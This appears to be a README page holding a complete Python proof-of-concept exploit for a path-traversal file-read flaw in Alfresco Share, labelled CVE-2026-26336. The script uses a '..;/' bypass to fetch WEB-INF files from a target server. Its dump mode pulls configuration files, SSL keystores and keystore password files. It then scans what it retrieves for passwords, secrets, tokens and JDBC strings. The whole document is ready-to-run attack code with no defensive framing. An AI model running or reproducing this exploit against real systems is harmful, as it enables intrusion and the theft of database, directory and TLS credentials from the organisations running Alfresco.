README.md
Rendering markdown...
import argparse
import urllib3
import sys
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
try:
import requests
except ImportError:
print("requires: pip install requests")
sys.exit(1)
BYPASS = "..;/"
BASE_PATH = "/share/page/resource/"
DEFAULT_TARGETS = {
"WEB-INF/web.xml": "Servlet configuration",
"WEB-INF/classes/alfresco-global.properties": "Global properties (may contain DB/LDAP/SMTP creds)",
"WEB-INF/classes/alfresco-encrypted.properties": "Encrypted properties",
"WEB-INF/classes/alfresco/web-extension/share-config-custom.xml": "Share custom config",
"WEB-INF/classes/alfresco/share-global.properties": "Share global properties",
"WEB-INF/classes/alfresco/keystore/ssl.keystore": "SSL keystore (binary)",
"WEB-INF/classes/alfresco/keystore/ssl.truststore": "SSL truststore (binary)",
"WEB-INF/classes/alfresco/keystore/ssl-keystore-passwords.properties": "Keystore passwords",
"WEB-INF/classes/alfresco/keystore/ssl-truststore-passwords.properties": "Truststore passwords",
"META-INF/MANIFEST.MF": "Build info and version",
}
def read_file(base_url, filepath):
url = f"{base_url.rstrip('/')}{BASE_PATH}{BYPASS}{filepath}"
r = requests.get(url, verify=False, timeout=15)
return r.status_code, r.content
def is_error_page(content):
return b"HTTP Status 404" in content or b"HTTP Status 500" in content or len(content) == 0
def main():
parser = argparse.ArgumentParser(description="CVE-2026-26336 — Alfresco Share file read")
parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. https://ecm.target.com)")
parser.add_argument("-f", "--file", help="Single file path to read (relative to webapp root)")
parser.add_argument("--dump", action="store_true", help="Dump all default target files")
parser.add_argument("-o", "--output", help="Output directory for dumped files")
args = parser.parse_args()
base = args.target.rstrip("/")
if args.file:
code, body = read_file(base, args.file)
if code == 200 and not is_error_page(body):
try:
print(body.decode("utf-8"))
except UnicodeDecodeError:
sys.stdout.buffer.write(body)
else:
print(f"Not found or not accessible (HTTP {code})", file=sys.stderr)
sys.exit(1)
return
print(f"Target: {base}")
print(f"Bypass: {BASE_PATH}{BYPASS}<file>")
print()
code, body = read_file(base, "WEB-INF/web.xml")
if code != 200 or is_error_page(body):
print("NOT VULNERABLE — web.xml not accessible")
sys.exit(1)
print(f"VULNERABLE — web.xml retrieved ({len(body)} bytes)")
print()
if not args.dump:
return
import os
outdir = args.output or "output"
os.makedirs(outdir, exist_ok=True)
for filepath, desc in DEFAULT_TARGETS.items():
code, body = read_file(base, filepath)
if code == 200 and not is_error_page(body):
safe_name = filepath.replace("/", "_").replace("\\", "_")
outpath = os.path.join(outdir, safe_name)
with open(outpath, "wb") as f:
f.write(body)
print(f"[+] {filepath} ({len(body)} bytes) -> {outpath}")
if len(body) < 5000 and desc != "SSL keystore (binary)" and desc != "SSL truststore (binary)":
try:
text = body.decode("utf-8")
for line in text.splitlines():
low = line.strip().lower()
if any(k in low for k in ["pass", "secret", "key=", "cred", "jdbc", "db.", "token", "encrypt"]):
print(f" {line.strip()[:120]}")
except UnicodeDecodeError:
pass
else:
print(f"[-] {filepath}")
print(f"\nFiles saved to {outdir}/")
if __name__ == "__main__":
main()